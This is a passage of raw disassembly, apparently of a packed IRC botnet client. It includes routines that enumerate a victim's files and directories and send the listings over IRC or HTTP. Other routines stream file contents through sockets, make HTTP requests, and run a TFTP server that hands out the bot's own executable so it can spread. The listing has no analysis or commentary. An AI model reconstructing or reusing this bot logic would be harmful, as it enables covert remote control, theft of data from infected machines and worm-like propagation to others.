[ebp+var_248] push eax push [ebp+arg_4] call ds:dword_43C668 ; send cmp [ebp+Source], ebx jz short loc_406571 push [ebp+Source] ; Str call _strlen cmp eax, 2 pop ecx jbe short loc_406571 push [ebp+Source] ; Str call _strlen sub eax, 3 pop ecx jz short loc_406525 loc_406519: ; CODE XREF: sub_40637D+1A6j mov ecx, [ebp+Source] cmp byte ptr [eax+ecx], 2Fh jz short loc_406525 dec eax jnz short loc_406519 loc_406525: ; CODE XREF: sub_40637D+19Aj ; sub_40637D+1A3j inc eax push eax ; Count lea eax, [ebp+Dst] push [ebp+Source] ; Source push eax ; Dest call _strncpy lea eax, [ebp+Dst] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_43C668 ; send loc_406571: ; CODE XREF: sub_40637D+17Ej ; sub_40637D+18Cj lea eax, [ebp+var_388] push eax push edi call ds:dword_4230B8 lea ecx, [ebp+var_388] mov [ebp+Str], eax push ecx push eax call ds:dword_4230B4 ; FindNextFileA test eax, eax jz loc_406962 mov edi, 1FFh loc_40659D: ; CODE XREF: sub_40637D+5DFj cmp [ebp+var_388], ebx jz loc_40694A lea eax, [ebp+Str1] push offset a__ ; ".." push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz loc_40694A lea eax, [ebp+Str1] push offset a_ ; "." push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz loc_40694A lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call ds:dword_4230B0 ; FileTimeToLocalFileTime lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call ds:dword_4230AC ; FileTimeToSystemTime mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_406612 mov ecx, offset aAm ; "AM" loc_406612: ; CODE XREF: sub_40637D+28Ej cmp ax, 0Ch movzx eax, ax jbe short loc_40661E sub eax, 0Ch loc_40661E: ; CODE XREF: sub_40637D+29Cj push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+Dest] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax ; Dest call _sprintf add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_4067CB inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_40669F lea eax, [ebp+Str1] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h ; Count push eax ; Dest call __snprintf lea eax, [ebp+Dest] push eax lea eax, [ebp+var_490] push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" push esi ; Count push eax ; Dest call __snprintf add esp, 28h jmp loc_40691B ; --------------------------------------------------------------------------- loc_40669F: ; CODE XREF: sub_40637D+2DBj cmp [ebp+Source], ebx jz loc_406789 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_43C668 ; send lea eax, [ebp+Str1] push eax lea eax, [ebp+var_248] push [ebp+Source] push offset aSS_0 ; "%s%s/" push edi ; Count push eax ; Dest call __snprintf add esp, 14h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_43C668 ; send lea eax, [ebp+Str1] push eax ; Str call _strlen cmp eax, 1Eh pop ecx lea eax, [ebp+Str1] push eax jbe short loc_40673F push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_406744 ; --------------------------------------------------------------------------- loc_40673F: ; CODE XREF: sub_40637D+3B9j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_406744: ; CODE XREF: sub_40637D+3C0j lea eax, [ebp+var_248] push edi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_43C668 ; send lea eax, [ebp+Dest] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40690C ; --------------------------------------------------------------------------- loc_406789: ; CODE XREF: sub_40637D+325j lea eax, [ebp+Str1] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h ; Count push eax ; Dest call __snprintf lea eax, [ebp+Dest] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" loc_4067B6: ; CODE XREF: sub_40637D+476j lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 24h jmp loc_40691B ; --------------------------------------------------------------------------- loc_4067CB: ; CODE XREF: sub_40637D+2CFj inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_4067F5 push ebx push [ebp+var_368] call sub_40D01A push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+Str1] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" jmp short loc_4067B6 ; --------------------------------------------------------------------------- loc_4067F5: ; CODE XREF: sub_40637D+454j cmp [ebp+Source], ebx jz loc_4068F5 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_43C668 ; send lea eax, [ebp+Str1] push eax lea eax, [ebp+var_248] push [ebp+Source] push offset aSS_2 ; "%s%s" push edi ; Count push eax ; Dest call __snprintf add esp, 14h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_43C668 ; send lea eax, [ebp+Str1] push eax ; Str call _strlen cmp eax, 1Fh pop ecx lea eax, [ebp+Str1] push eax jbe short loc_406895 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_40689A ; --------------------------------------------------------------------------- loc_406895: ; CODE XREF: sub_40637D+50Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_40689A: ; CODE XREF: sub_40637D+516j lea eax, [ebp+var_248] push edi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_43C668 ; send mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+Dest] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... lea eax, [ebp+var_248] push edi ; Count push eax ; Dest call __snprintf add esp, 1Ch jmp short loc_40691B ; --------------------------------------------------------------------------- loc_4068F5: ; CODE XREF: sub_40637D+47Bj push [ebp+var_368] lea eax, [ebp+Dest] push eax lea eax, [ebp+Str1] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" push esi ; Count loc_40690C: ; CODE XREF: sub_40637D+407j lea eax, [ebp+var_248] push eax ; Dest call __snprintf add esp, 18h loc_40691B: ; CODE XREF: sub_40637D+31Dj ; sub_40637D+449j ... lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_43C668 ; send cmp [ebp+arg_8], ebx jz short loc_40694A push 7D0h call ds:dword_423060 ; Sleep loc_40694A: ; CODE XREF: sub_40637D+226j ; sub_40637D+241j ... lea eax, [ebp+var_388] push eax push [ebp+Str] call ds:dword_4230B4 ; FindNextFileA test eax, eax jnz loc_40659D loc_406962: ; CODE XREF: sub_40637D+215j push [ebp+Str] call ds:dword_4230A8 ; FindClose cmp [ebp+arg_8], ebx jz short loc_4069A5 mov eax, [ebp+var_8] cdq push edx push eax call sub_40D01A pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax ; Dest call _sprintf add esp, 14h jmp short loc_4069D9 ; --------------------------------------------------------------------------- loc_4069A5: ; CODE XREF: sub_40637D+5F1j cmp [ebp+Source], ebx jz short loc_4069BF lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax ; Dest call _sprintf pop ecx pop ecx jmp short loc_4069D9 ; --------------------------------------------------------------------------- loc_4069BF: ; CODE XREF: sub_40637D+62Bj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax ; Dest call _sprintf add esp, 10h loc_4069D9: ; CODE XREF: sub_40637D+626j ; sub_40637D+640j lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_43C668 ; send pop edi pop esi xor eax, eax pop ebx leave retn sub_40637D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4069FF proc near ; CODE XREF: sub_405F4B+13Bp Dst = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call ds:dword_423080 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_406AB7 push esi push ebx call ds:dword_4230A0 cmp eax, esi mov [ebp+arg_4], eax jz short loc_406AB0 loc_406A44: ; CODE XREF: sub_4069FF+AFj push 400h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_406A61 mov edi, [ebp+arg_4] loc_406A61: ; CODE XREF: sub_4069FF+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call ds:dword_4230BC lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+Dst] push edi push eax push ebx call ds:dword_423070 push esi lea eax, [ebp+Dst] push edi push eax push [ebp+arg_0] call ds:dword_43C668 ; send cmp eax, 0FFFFFFFFh jnz short loc_406AAB call ds:dword_43C5AC ; WSAGetLastError cmp eax, 2733h jnz short loc_406AB0 xor eax, eax loc_406AAB: ; CODE XREF: sub_4069FF+9Bj sub [ebp+arg_4], eax jnz short loc_406A44 loc_406AB0: ; CODE XREF: sub_4069FF+43j ; sub_4069FF+A8j push ebx call ds:dword_423074 loc_406AB7: ; CODE XREF: sub_4069FF+30j pop edi pop esi pop ebx leave retn sub_4069FF endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_406ABC(char *Str) sub_406ABC proc near ; CODE XREF: sub_4060CD+17Cp Str = dword ptr 4 push esi push edi mov edi, [esp+8+Str] xor esi, esi push edi ; Str call _strlen test eax, eax pop ecx jbe short loc_406AE5 loc_406ACF: ; CODE XREF: sub_406ABC+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_406AD9 mov byte ptr [esi+edi], 2Fh loc_406AD9: ; CODE XREF: sub_406ABC+17j push edi ; Str inc esi call _strlen cmp esi, eax pop ecx jb short loc_406ACF loc_406AE5: ; CODE XREF: sub_406ABC+11j mov eax, edi pop edi pop esi retn sub_406ABC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406AEA proc near ; CODE XREF: sub_40EE51+2C0Dp var_4A0 = byte ptr -4A0h Dest = byte ptr -310h Str = byte ptr -110h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call ds:dword_43C590 ; WSAStartup push 6 push 1 push 2 call ds:dword_43C698 ; socket mov ebx, eax xor edi, edi push 10h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+arg_14] call ds:dword_43C618 ; htons push [ebp+arg_10] mov [ebp+var_E], ax call sub_40ADC5 pop ecx mov [ebp+var_C], eax lea eax, [ebp+Dst] push 10h push eax push ebx call ds:dword_43C5C0 ; connect cmp eax, 0FFFFFFFFh jz short loc_406BC7 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_406B63 mov eax, offset byte_4397BC loc_406B63: ; CODE XREF: sub_406AEA+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+Str] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi ; Count push eax ; Dest call __snprintf add esp, 1Ch lea eax, [ebp+Str] push edi push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push ebx call ds:dword_43C668 ; send push esi ; Size lea eax, [ebp+Str] push edi ; Src push eax ; Dst call _memcpy add esp, 0Ch lea eax, [ebp+Str] push edi push esi push eax push ebx call ds:dword_43C630 ; recv pop esi loc_406BC7: ; CODE XREF: sub_406AEA+6Bj push ebx call ds:dword_43C6B0 ; closesocket call ds:dword_43C578 ; WSACleanup lea eax, [ebp+Str] push eax ; Format lea eax, [ebp+Dest] push eax ; Dest call _sprintf cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_406C07 push edi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 14h loc_406C07: ; CODE XREF: sub_406AEA+102j pop edi pop ebx leave retn sub_406AEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C0B proc near ; CODE XREF: sub_406C0B:loc_4070F6p ; DATA XREF: sub_407243+107o ... var_884 = dword ptr -884h var_880 = dword ptr -880h Dest = byte ptr -780h var_580 = byte ptr -580h var_57F = byte ptr -57Fh var_57E = byte ptr -57Eh var_57D = byte ptr -57Dh DstBuf = byte ptr -57Ch var_37C = dword ptr -37Ch Filename = byte ptr -378h Str1 = byte ptr -274h var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = dword ptr -168h Str = byte ptr -164h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_D8 = byte ptr -0D8h var_D7 = byte ptr -0D7h Str2 = byte ptr -0D6h var_D5 = byte ptr -0D5h var_58 = byte ptr -58h Dst = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch File = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 884h push ebx push esi push edi mov edx, [ebp+arg_0] mov esi, offset aOctet ; "octet" lea edi, [ebp+var_1C] movsd push 1 xor ebx, ebx movsw pop eax mov ecx, 0A9h mov esi, edx lea edi, [ebp+var_37C] push ebx push 2 rep movsd inc [ebp+var_16C] push 2 mov [ebp+var_C], eax mov [edx+2A0h], eax call ds:dword_43C698 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_406CCE push 190h call ds:dword_423060 ; Sleep call ds:dword_43C5AC ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset unk_429C38 ; Format push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_E0], ebx jnz short loc_406CAE push ebx ; int lea eax, [ebp+Dest] push [ebp+var_E4] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_37C] ; int call sub_40D670 add esp, 14h loc_406CAE: ; CODE XREF: sub_406C0B+7Ej lea eax, [ebp+Dest] push eax call sub_40BF6F push [ebp+var_170] call sub_417064 pop ecx pop ecx push ebx call ds:dword_423050 loc_406CCE: ; CODE XREF: sub_406C0B+50j mov eax, [ebp+var_170] push 10h ; Size imul eax, 234h push ebx ; Val mov ds:dword_44207C[eax], edi lea eax, [ebp+Dst] push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_168] call ds:dword_43C618 ; htons mov [ebp+var_42], ax lea eax, [ebp+Dst] push 10h push eax push edi mov [ebp+var_40], ebx call ds:dword_43C644 ; bind cmp eax, 0FFFFFFFFh jnz short loc_406D33 push 1388h call ds:dword_423060 ; Sleep dec [ebp+var_16C] push [ebp+arg_0] jmp loc_4070F6 ; --------------------------------------------------------------------------- loc_406D33: ; CODE XREF: sub_406C0B+10Dj lea eax, [ebp+Filename] push offset aRb ; "rb" push eax ; Filename call _fopen pop ecx cmp eax, ebx pop ecx mov [ebp+File], eax jnz short loc_406DB1 push 190h call ds:dword_423060 ; Sleep lea eax, [ebp+Filename] push eax lea eax, [ebp+Dest] push offset unk_429C04 ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dest] push [ebp+var_E4] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_37C] ; int call sub_40D670 lea eax, [ebp+Dest] push eax call sub_40BF6F push [ebp+var_170] call sub_417064 add esp, 28h push ebx call ds:dword_423050 loc_406DB1: ; CODE XREF: sub_406C0B+140j mov esi, 200h loc_406DB6: ; CODE XREF: sub_406C0B+4A5j mov eax, [ebp+arg_0] cmp [eax+2A0h], ebx jz loc_4070B6 mov [ebp+var_880], edi mov edi, 80h push edi ; Size lea eax, [ebp+var_D8] push ebx ; Val push eax ; Dst mov [ebp+var_34], 5 mov [ebp+var_30], 1388h mov [ebp+var_884], 1 call _memset add esp, 0Ch lea eax, [ebp+var_34] push eax push ebx lea eax, [ebp+var_884] push ebx push eax push ebx call ds:dword_43C600 ; select test eax, eax jle loc_4070AA mov al, ds:byte_4397BC mov ecx, edi mov [ebp+var_580], al xor eax, eax lea edi, [ebp+var_57F] mov [ebp+var_4], 10h rep stosd stosw stosb mov edi, [ebp+var_10] lea eax, [ebp+var_4] push eax lea eax, [ebp+var_2C] push eax push ebx lea eax, [ebp+var_D8] push 80h push eax push edi call ds:dword_43C5F0 ; recvfrom push [ebp+var_28] mov [ebp+var_C], eax call ds:dword_43C6A4 ; inet_ntoa push eax ; Format lea eax, [ebp+var_58] push eax ; Dest call _sprintf cmp [ebp+var_D8], bl pop ecx pop ecx jnz loc_407094 cmp [ebp+var_D7], 1 jnz loc_406FE0 lea eax, [ebp+Str1] push eax ; Str call _strlen lea eax, [ebp+eax+var_D5] mov [ebp+var_14], eax lea eax, [ebp+Str1] push eax ; Str call _strlen push eax ; MaxCount lea eax, [ebp+Str2] push eax ; Str2 lea eax, [ebp+Str1] push eax ; Str1 call _strncmp add esp, 14h test eax, eax jnz loc_406F9A lea eax, [ebp+var_1C] push eax ; Str call _strlen push eax ; MaxCount lea eax, [ebp+var_1C] push [ebp+var_14] ; Str2 push eax ; Str1 call _strncmp add esp, 10h test eax, eax jnz loc_406F9A push ebx ; Origin push ebx ; Offset push [ebp+File] ; File call _fseek push [ebp+File] ; File lea eax, [ebp+DstBuf] mov [ebp+var_580], bl mov [ebp+var_57F], 3 push esi ; Count push 1 ; ElementSize push eax ; DstBuf mov [ebp+var_57E], bl mov [ebp+var_57D], 1 call _fread add esp, 1Ch lea ecx, [ebp+var_2C] mov [ebp+var_C], eax add eax, 4 push [ebp+var_4] push ecx push ebx push eax lea eax, [ebp+var_580] push eax push edi call ds:dword_43C67C ; sendto lea eax, [ebp+Filename] push eax lea eax, [ebp+var_58] push eax push offset dword_429BBC ; Format loc_406F4E: ; CODE XREF: sub_406C0B+484j lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 10h cmp [ebp+var_E0], ebx jnz short loc_406F88 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_E4] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_37C] ; int call sub_40D670 add esp, 14h loc_406F88: ; CODE XREF: sub_406C0B+358j lea eax, [ebp+Dest] push eax call sub_40BF6F pop ecx jmp loc_4070AA ; --------------------------------------------------------------------------- loc_406F9A: ; CODE XREF: sub_406C0B+2B6j ; sub_406C0B+2D7j push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 13h push offset dword_429BA8 push edi call ds:dword_43C67C ; sendto lea eax, [ebp+Str1] push eax lea eax, [ebp+var_58] push eax lea eax, [ebp+var_D8] push offset unk_429B74 ; Format push eax ; Dest call _sprintf lea eax, [ebp+var_D8] push eax call sub_40BF6F add esp, 14h jmp loc_4070AA ; --------------------------------------------------------------------------- loc_406FE0: ; CODE XREF: sub_406C0B+275j cmp [ebp+var_D7], 4 jnz loc_407094 mov cl, [ebp+var_D5] mov al, [ebp+Str2] cmp cl, 0FFh mov [ebp+var_580], bl mov [ebp+var_57F], 3 jnz short loc_40701D inc al xor cl, cl mov [ebp+var_57E], al mov [ebp+var_57D], bl jmp short loc_40702B ; --------------------------------------------------------------------------- loc_40701D: ; CODE XREF: sub_406C0B+3FEj inc cl mov [ebp+var_57E], al mov [ebp+var_57D], cl loc_40702B: ; CODE XREF: sub_406C0B+410j movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx push ebx ; Origin shl eax, 9 sub eax, esi push eax ; Offset push [ebp+File] ; File call _fseek push [ebp+File] ; File lea eax, [ebp+DstBuf] push esi ; Count push 1 ; ElementSize push eax ; DstBuf call _fread add esp, 1Ch mov edi, eax lea eax, [ebp+var_2C] mov [ebp+var_C], edi push [ebp+var_4] push eax lea eax, [edi+4] push ebx push eax lea eax, [ebp+var_580] push eax push [ebp+var_10] call ds:dword_43C67C ; sendto loc_40707B: ; DATA XREF: UPX0:004272F8o ; UPX0:0042730Co ... cmp edi, ebx jnz short loc_4070AA lea eax, [ebp+Filename] push eax lea eax, [ebp+var_58] push eax push offset dword_429B20 jmp loc_406F4E ; --------------------------------------------------------------------------- loc_407094: ; CODE XREF: sub_406C0B+268j ; sub_406C0B+3DCj push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 9 push offset dword_429B14 push edi call ds:dword_43C67C ; sendto loc_4070AA: ; CODE XREF: sub_406C0B+204j ; sub_406C0B+38Aj ... cmp [ebp+var_C], ebx mov edi, [ebp+var_10] jg loc_406DB6 loc_4070B6: ; CODE XREF: sub_406C0B+1B4j push edi call ds:dword_43C6B0 ; closesocket push [ebp+File] ; File call _fclose mov esi, [ebp+arg_0] dec [ebp+var_16C] pop ecx cmp [esi+2A0h], ebx jnz short loc_4070EA push [ebp+var_170] call sub_417064 pop ecx push ebx call ds:dword_423050 loc_4070EA: ; CODE XREF: sub_406C0B+4CAj push 3E8h call ds:dword_423060 ; Sleep push esi loc_4070F6: ; CODE XREF: sub_406C0B+123j call sub_406C0B pop edi pop esi pop ebx leave retn 4 sub_406C0B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_407102(int,char *Str,int) sub_407102 proc near ; CODE XREF: sub_40EE51+5D4Bp Source = byte ptr -400h Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+Dest] push offset unk_42A134 ; Format push eax ; Dest xor ebx, ebx call _sprintf cmp ds:dword_429CB0, ebx pop ecx pop ecx mov edi, 200h jz short loc_407170 push esi mov esi, offset dword_429CB8 loc_407135: ; CODE XREF: sub_407102+6Bj mov eax, [esi] add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+Source] push offset aSD ; " %s: %d," push eax ; Dest call _sprintf lea eax, [ebp+Source] push edi ; Count push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _strncat add esi, 3Ch add esp, 1Ch cmp dword ptr [esi-8], 0 jnz short loc_407135 pop esi loc_407170: ; CODE XREF: sub_407102+2Bj push ds:dword_486C00 call sub_40B71C push eax push ebx lea eax, [ebp+Source] push offset aTotalDInS_ ; " Total: %d in %s." push eax ; Dest call _sprintf lea eax, [ebp+Source] push edi ; Count push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _strncat push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_40D670 lea eax, [ebp+Dest] push eax call sub_40BF6F add esp, 38h pop edi pop ebx leave retn sub_407102 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4071CC(int,char *Str,int,int) sub_4071CC proc near ; CODE XREF: sub_40EE51+5693p Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 8 call sub_416F90 test eax, eax pop ecx jle short loc_407208 mov eax, [ebp+arg_C] push ds:dword_4397F8[eax*8] call ds:dword_43C6A4 ; inet_ntoa push eax lea eax, [ebp+Dest] push offset unk_42A198 ; Format push eax ; Dest call _sprintf add esp, 0Ch jmp short loc_40721B ; --------------------------------------------------------------------------- loc_407208: ; CODE XREF: sub_4071CC+13j lea eax, [ebp+Dest] push offset unk_42A168 ; Format push eax ; Dest call _sprintf pop ecx pop ecx loc_40721B: ; CODE XREF: sub_4071CC+3Aj push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_40D670 lea eax, [ebp+Dest] push eax call sub_40BF6F add esp, 18h leave retn sub_4071CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_407243(int,int,int,int,char Source,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int) sub_407243 proc near ; CODE XREF: sub_40796C+4Fp var_210 = dword ptr -210h Dest = byte ptr -204h var_4 = byte ptr -4 Source = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_4075D3 imul eax, 3Ch xor ebx, ebx cmp ds:dword_429CBC[eax], ebx jz loc_4074B4 push 4 call sub_416F90 test eax, eax pop ecx jnz loc_4075D3 mov eax, ds:dword_42E5AC push edi mov edi, offset dword_43A7B4 push 104h push edi push ebx mov ds:dword_43A9C4, eax mov ds:dword_43A9C0, ebx call ds:dword_423090 ; GetModuleFileNameA push 103h ; Count mov esi, offset byte_43A8B8 push offset byte_42E664 ; Source push esi ; Dest call _strncpy mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov ds:dword_43A7B0, eax mov eax, [ebp+arg_138] push 7Fh ; Count mov ds:dword_43AA48, eax jnz short loc_4072F6 lea eax, [ebp+Source] push eax ; Source push offset byte_43A9C8 ; Dest call _strncpy add esp, 0Ch mov ds:dword_43AA4C, 1 jmp short loc_407310 ; --------------------------------------------------------------------------- loc_4072F6: ; CODE XREF: sub_407243+94j lea eax, [ebp+arg_90] push eax ; Source push offset byte_43A9C8 ; Dest call _strncpy add esp, 0Ch mov ds:dword_43AA4C, ebx loc_407310: ; CODE XREF: sub_407243+B1j push esi push edi push ds:dword_43A9C4 lea eax, [ebp+Dest] push offset unk_42A328 ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dest] push 4 ; int push eax ; Source call sub_416D48 add esp, 20h mov ds:dword_43A9BC, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_43A7B0 push offset sub_406C0B push ebx push ebx call ds:dword_42309C mov ecx, ds:dword_43A9BC imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_40737F loc_40736D: ; CODE XREF: sub_407243+13Aj cmp ds:dword_43AA50, ebx jnz short loc_40739A push 32h call ds:dword_423060 ; Sleep jmp short loc_40736D ; --------------------------------------------------------------------------- loc_40737F: ; CODE XREF: sub_407243+128j call ds:dword_423088 ; RtlGetLastWin32Error push eax lea eax, [ebp+Dest] push offset unk_42A2E8 ; Format push eax ; Dest call _sprintf add esp, 0Ch loc_40739A: ; CODE XREF: sub_407243+130j lea eax, [ebp+Dest] push eax call sub_40BF6F mov edi, offset dword_43AE0C mov [esp+210h+var_210], 104h push edi push ebx mov ds:dword_43B018, ebx call ds:dword_423090 ; GetModuleFileNameA push 103h ; Count mov esi, offset byte_43AF10 push offset byte_42E664 ; Source push esi ; Dest call _strncpy mov eax, [ebp+arg_110] add 